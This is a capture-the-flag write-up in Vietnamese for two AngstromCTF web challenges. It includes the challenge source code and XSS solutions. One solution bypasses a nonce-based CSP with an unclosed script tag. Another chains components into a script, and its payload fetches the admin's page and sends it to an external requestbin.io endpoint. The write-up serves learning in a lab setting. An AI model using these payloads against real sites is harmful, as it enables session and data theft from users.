AngstromCTF

look.a

really close to solve jason :(

** nomnomnom

const visiter = require('./visiter');

const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const crypto = require('crypto');

const app = express();

app.use(bodyParser.json());
app.use(cookieParser());

app.use(express.static('public'));

const nothisisntthechallenge = crypto.randomBytes(64).toString('hex');
const shares = new Map();
shares['hint'] = {name: '<marquee>helvetica standard</marquee>', score: 42};

app.post('/record', function (req, res) {
	if (req.body.name > 100) {
		return res.status(400).send('your name is too long! we don\'t have that kind of vc investment yet...');
	}

	if (isNaN(req.body.score) || !req.body.score || req.body.score < 1) {
		res.send('your score has to be a number bigger than 1! no getting past me >:(');
		return res.status(400).send('your score has to be a number bigger than 1! no getting past me >:(');
	}

	const name = req.body.name;
	const score = req.body.score;
	const shareName = crypto.randomBytes(8).toString('hex');

	shares[shareName] = { name, score };

	return res.redirect(`/shares/${shareName}`);
})

app.get('/shares/:shareName', function(req, res) {
	// TODO: better page maybe...? would attract those sweet sweet vcbucks
	if (!(req.params.shareName in shares)) {
		return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
	}

	const share = shares[req.params.shareName];
	const score = share.score;
	const name = share.name;
	const nonce = crypto.randomBytes(16).toString('hex');
	let extra = '';

	if (req.cookies.no_this_is_not_the_challenge_go_away === nothisisntthechallenge) {
		extra = `deletion token: <code>${process.env.FLAG}</code>`
	}

	return res.send(`
<!DOCTYPE html>
<html>
	<head>
		<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'">
		<title>snek nomnomnom</title>
	</head>
	<body>
		${extra}${extra ? '<br /><br />' : ''}
		<h2>snek goes <em>nomnomnom</em></h2><br />
		Check out this score of ${score}! <br />
		<a href='/'>Play!</a> <button id='reporter'>Report.</button> <br />
		<br />
		This score was set by ${name}
		<script nonce='${nonce}'>
function report() {
	fetch('/report/${req.params.shareName}', {
		method: 'POST'
	});
}

document.getElementById('reporter').onclick = () => { report() };
		</script> 
		
	</body>
</html>`);
});

app.post('/report/:shareName', async function(req, res) {
	if (!(req.params.shareName in shares)) {
		return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
	}

	await visiter.visit(
		nothisisntthechallenge,
		`http://localhost:9999/shares/${req.params.shareName}`
	);
})

app.listen(9999, '0.0.0.0');

nhìn vào source ta thấy có thể đây là một chall xss vì có bot.

/record

const name = req.body.name;
const score = req.body.score;
const shareName = crypto.randomBytes(8).toString('hex');
shares[shareName] = { name, score };
return res.redirect(`/shares/${shareName}`);

ta thấy có 2 thứ mà mình control được là name và score, sau đó được redirect tới /shares/sharename

ở đây ta có thể get được flag nếu cookie được set đúng :v

đồng thời nonce được khởi tạo random, thứ sẽ được dùng ở lệnh bên dưới

This score was set by ${name}
		<script nonce='${nonce}'>

name được render ngay trước script chứa nonce??? mà không có bất kỳ tag nào khác cản trở?

vậy ta có thể fake 1 script kiểu này

name=<script

code trong server trở thành

vì name của mình chứa <script chưa đóng tag, nên trình duyệt sẽ tìm tới ">" gần nhất kể từ name để đóng lại => phần <script nonce='' trở thành thuộc tính của script mình đã fake ở trên, nên bypass được nonce csp ở đây.

bây giờ mình chỉ cần load được script từ nguồn khác là done.

giờ chỉ cần đổi alert thành fetch sẽ lấy được cookie, có cookie thay vào là done

** reaction.py

ở bài này thì mình vẫn được cung cấp source, nên nhìn qua một lượt như sau.

source dài khoảng 300 dòng nên mình sẽ chỉ focus vào những thứ quan trọng.

app có chức năng đăng ký, đăng nhập, tạo contest mới, reset contest và admin bot.

bài này tiếp tục là xss. hmm

/newcomp

@app.route("/newcomp", methods=["POST"])
@mustlogin
def new_component_post(user):
    with user["mutex"]:
        (t, v) = add_component(
            request.form.get("name"), request.form.get("cfg"), user["bucket"]
        )
    if t == ERR:
        return (
            PAGE_TEMPLATE.replace("$$BODY$$", f"""<p class="error">{v}</p>"""),
            400,
        )
    return redirect("/", code=302)

template nó như sau

def add_component(name, cfg, bucket):
    if not name or not cfg:
        return (ERR, "Missing parameters")
    if len(bucket) >= 2:
        return (ERR, "Bucket too large (our servers aren't very good :((((()")
    if len(cfg) > 250:
        return (ERR, "Config too large (our servers aren't very good :((((()")
    if name == "welcome":
        if len(bucket) > 0:
            return (ERR, "Welcomes can only go at the start")
        bucket.append(
            """
            <form action="/newcomp" method="POST">
                <input type="text" name="name" placeholder="component name">
                <input type="text" name="cfg" placeholder="component config">
                <input type="submit" value="create component">
            </form>
            <form action="/reset" method="POST">
                <p>warning: resetting components gets rid of this form for some reason</p>
                <input type="submit" value="reset components">
            </form>
            <form action="/contest" method="POST">
                <div class="g-recaptcha" data-sitekey="{}"></div>
                <input type="submit" value="submit site to contest">
            </form>
            <p>Welcome <strong>{}</strong>!</p>
            """.format(
                captcha.get("sitekey"), escape(cfg)
            ).strip()
        )
    elif name == "char_count":
        bucket.append(
            "<p>{}</p>".format(
                escape(
                    f"<strong>{len(cfg)}</strong> characters and <strong>{len(cfg.split())}</strong> words"
                )
            )
        )
    elif name == "text":
        bucket.append("<p>{}</p>".format(escape(cfg)))
    elif name == "freq":
        counts = Counter(cfg)
        (char, freq) = max(counts.items(), key=lambda x: x[1])
        bucket.append(
            "<p>All letters: {}<br>Most frequent: '{}'x{}</p>".format(
                "".join(counts), char, freq
            )
        )
    else:
        return (ERR, "Invalid component name")
    return (OK, bucket)

gồm có 3 chức năng quan trọng, welcom,thằng này phải nằm ở bucket đầu tiên, freq là đếm ký tự nào được lặp nhiều nhất, đồng thời xóa đi các ký tự lặp. text thì thoải mái nhưng bị excape input của mình => không thể sự dụng tag ở đây.

mình có thể trigger xss ở freq như sau.

trigger được alert là một chuyện nhưng đọc được cookie hay không là chuyện khác.

vì flag nằm ở admin bucket nên để đọc được thì cần một script khá dài

đến đây mình nghĩ nên sử dụng một shortest domain để load script, but nhà nghèo nên không có tiền mua domain.

nên mình nghĩ hướng khác.

vì mỗi user được tạo tối đa 2 bucket, ở text thì mình không thể tạo tag html nhưng freq thì có, vậy how about kết hợp cả 2??

lets try.

but vẫn chưa work tại vì không đúng cú pháp của js, quá nhiều tạp chất :v

mình sử dụng cmt để cmt lại đống tạp chất như sau

trigger đc alert rồi thì triển thôi.

flag nằm ở bucket admin

các bước để làm như sau

  1. reset bucket

  2. send newcomp với name=welcom&cfg=

  3. bắt request ở submit to contest,chuyển request đó sang repeat, đồng thời drop request đó.

  4. reset lại bucket

  5. send newcomp với name=freq&cfg=<script>/*

  6. send newcomp với name=text&cfg=*/fetch(/?fakeuser=admin,{mode%3a+no-cors}).then(function+(response){return+response.text()}).then(function+(html){fetch(https%3a//requestbin.io/1otlfme1/cc%3d%2bbtoa(html),{mode%3a+no-cors})})//

  7. send request của submit to contest lúc nãy ở tab repeat.

decode to get flag.

Last updated